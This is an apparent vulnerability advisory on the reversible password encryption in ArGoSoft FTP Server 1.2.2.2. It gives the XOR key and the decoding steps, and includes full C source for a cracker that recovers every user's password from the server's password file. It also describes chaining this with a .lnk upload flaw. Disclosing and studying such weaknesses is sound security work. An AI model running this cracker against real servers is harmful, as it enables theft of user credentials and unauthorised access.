COMMAND

    ArGoSoft FTP Server

SYSTEMS AFFECTED

    ArGoSoft FTP Server 1.2.2.2

PROBLEM

    'ByteRage'  found  following.   ArGoSoft  FTP  Server  1.2.2.2 for
    win32 is  vulnerable to  decryption of  the password  file.   As a
    matter of fact the programmers  are aware of this since  they have
    implemented decryption  algorithms within  the FTP  Server program
    itself, as we can find  the decrypted passwords when watching  the
    program's  memory  dumps,  or  using  system  debuggers or special
    tools to peek  at the password  (User Properties) which  is hidden
    with ****  (normally one  would expect  this to  contain something
    like "-=encrypted=-" so that it  can only be changed, but  in this
    case it contains the plaintext password).

    This simple observation brings  up the fact that  the passwordfile
    uses a weak password encryption algorithm, and that the  passwords
    can be obtained from the ciphertext data.

    We have the password in ciphertext : NkouCREIJVU=
    1) we  lookup the  individual ciphertext  characters in  the table
       'A'-'Z',  'a'-'z',  '0'-'9',  '+',  '/'  and  take  the indices
       ranging  from  0  ->  63  (these  represent  6 bits) 4 of these
       characters make up 3 binary bytes (4*6 bits = 3*8 bits)
    2) we XOR the resulting binary limb with:

        T3ZlciB0aGUgaGlsbHMgYW5kIGZhciBhd2F5LCBUZWxldHViYmllcyBjb21lIHRvIHBsYXk=

       (we  XOR  the  first  byte  of  our decoded stuff with "T", the
       second with "3", etc...)

    If we finish these two passes we get : NkouCREIJVU= -> byterage.

    Attached is a source code that decrypts ciphertext passwords:  you
    can give them as the first parameter to the executable, or you can
    also give  it the  filename of  an ArGoSoft  FTP password file, so
    that it gives you the passwords of all users.

    When combining this  with that *.lnk  upload, any user  with write
    access  can  not  only  traverse  directories  but also obtain the
    passwords of all users.

    /********************************************************************
     * agscrack.c - ArGoSoft FTP Server 1.2.2.2 password file cracker   *
     * by [ByteRage] <byterage@yahoo.com> [http://www.byterage.cjb.net] *
     ********************************************************************/
    
    #include <string.h>
    #include <stdio.h>
    
    int len; FILE *fh;
    
    /* DECRYPTION ALGORITHMS */
    unsigned char char2bin(unsigned char inbyte) {
      if ((inbyte >= 'A') && (inbyte <= 'Z')) { len++; return(inbyte-'A'); }
      if ((inbyte >= 'a') && (inbyte <= 'z')) { len++; return(inbyte-'a'+26); }
      if ((inbyte >= '0') && (inbyte <= '9')) { len++; return(inbyte+4); }
      if (inbyte == '+') { len++; return('\x3E'); }
      if (inbyte == '/') { len++; return('\x3F'); }
      return('\x00');
    }
    void decode(unsigned char chars[], unsigned char bytes[]) {
      int i,retval=0;
      for(i=0; i<4; i++) { retval <<= 6; retval |= char2bin(chars[i]); }
      for(i=0; i<3; i++) { bytes[2-i] = retval & 0xFF; retval >>= 8; }
      len--;
    }
    void decryptpass(unsigned char encrypted[], unsigned char decrypted[]) {
      const unsigned char heavycrypt0[] = "T3ZlciB0aGUgaGlsbHMgYW5kIGZhciBhd2F5LCBUZWxldHViYmllcyBjb21lIHRvIHBsYXk=";
      unsigned int j, k=0, l;
      len = 0;
      for(j=0; j<strlen(encrypted); j+=4) {
        decode(&encrypted[j], &decrypted[k]);
        for(l=0; l<3; l++) { decrypted[k] ^= heavycrypt0[k++]; }
      }
      decrypted[len] = '\x00';
    }
    /* DECRYPTION ALGORITHMS END */
    
    void main(int argc, char ** argv) {
      char password[128]; /* ArGoSoft's passwords don't get larger than 128 bytes */
      char buf[256]; char b;
      int rd;
    
      printf("ArGoSoft FTP Server 1.2.2.2 password file cracker by [ByteRage]\n\n");
      if (argc<2) { printf("Syntax : %s <password(file)>\n", argv[0]); return 1; }
    
      fh = fopen(argv[1], "rb");
      if (!fh) {
        decryptpass(argv[1], &password);
        printf("%s -> %s\n", argv[1], password);
        return 0;
      } else {
        /* simple password file processor */
        fread(&buf,1,1,fh);
        if (buf[0] == 4) {
          while (1) {
	    if (fread(&b,1,1,fh) == 0) { break; }
            if (fread(&buf,1,b+1,fh) == 0) { break; }
	    printf("%s : ", buf);
            b=0; while(!b) if (fread(&b,1,1,fh) == 0) { break; }
	    if (fread(&buf,1,b+1,fh) == 0) { break; }
            decryptpass(&buf, &password);
	    printf("%s -> %s\n", &buf, password);
	    b=0; while(!b) if (fread(&b,1,1,fh) == 0) { break; }
	    if (fread(&buf,1,b+1,fh) == 0) { break; }
	    b=0; while(b!=4) if (fread(&b,1,1,fh) == 0) { break; }
          }
        } else printf("error when processing passwordfile!");
        fclose(fh);
      }
    }

SOLUTION

    Authors are  aware of  the fact  that the  password encryption  is
    reversible.  Hopefully they  will review the encryption  algorithm
    in a next release.